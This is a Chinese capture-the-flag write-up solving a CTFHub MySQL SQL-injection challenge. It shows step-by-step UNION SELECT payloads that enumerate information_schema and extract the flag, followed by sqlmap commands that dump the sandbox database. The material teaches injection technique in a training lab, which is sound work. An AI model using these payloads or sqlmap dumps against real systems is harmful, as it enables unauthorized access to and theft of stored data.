CTFHUB技能树之SQL——MySQL结构

开启靶场,打开链接:

先判断一下是哪种类型的SQL注入:

1 and 1=1#

正常回显


1 and 1=2#

回显错误,说明是整数型注入


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2列


知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

没有发现数据,猜测数据可能不存在数据库中,修改注入语句


1 and 1=2 union select 1,2#或者-1 union select 1,2#都行


(1)查看数据库名

-1 union select 1,database()#


(2)查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

可以发现sqli不是自带的数据库


(3)查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#


(4)查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ufnanbfswh'#


(5)查看字段内容(flag)

-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh#

ctfhub{3f3b08fb458cc15178c70beb}


接下来用sqlmap一把梭:

(1)查看数据库名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -dbs


(2)查看表名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables


(3)查看列名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -columns


(4)查看字段内容(flag)

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -C cqnstcfhov -dump


或者得知数据库名和表名的情况下直接梭出字段内容:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh --dump


要是时间够的话得知数据库名的情况下,直接一把梭:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump

相关推荐
Moshow郑锴34 分钟前
sql-pipeline - 基于PostgreSQL的SQL健康检查与发布编排平台
java·sql
Elastic 中国社区官方博客8 小时前
将你自己的密钥用于现有 Elastic Cloud 部署
大数据·数据库·elasticsearch·全文检索
红海云9 小时前
Jev:给智能系统做判断的模型
大数据·数据库·人工智能
wjkjpcba9 小时前
PCBA烧录程序是什么:PCBA包工包料厂家解析烧录与测试
linux·数据库·人工智能·smt贴片加工·pcba贴片加工厂
꯭自꯭闭꯭9 小时前
达梦事物特性及MVCC
linux·运维·数据库
小马同学-10 小时前
MySQL主从复制和读写分离
数据库·mysql
谢亮_vipxieliang10 小时前
Spring 事务失效的常见场景
java·开发语言·数据库·spring boot
海绵宝宝转agent10 小时前
MySql高频面试八股开源笔记总结
mysql·面试·开源
geovindu10 小时前
sql: JSON and XML Data Handling in SQL using sql server 2025
大数据·数据库·sqlserver·数据库开发·数据库架构
IT大白鼠11 小时前
图数据库系列 · 第 02 篇——架构拆解:原生图存储到因果集群
数据库·架构·nosql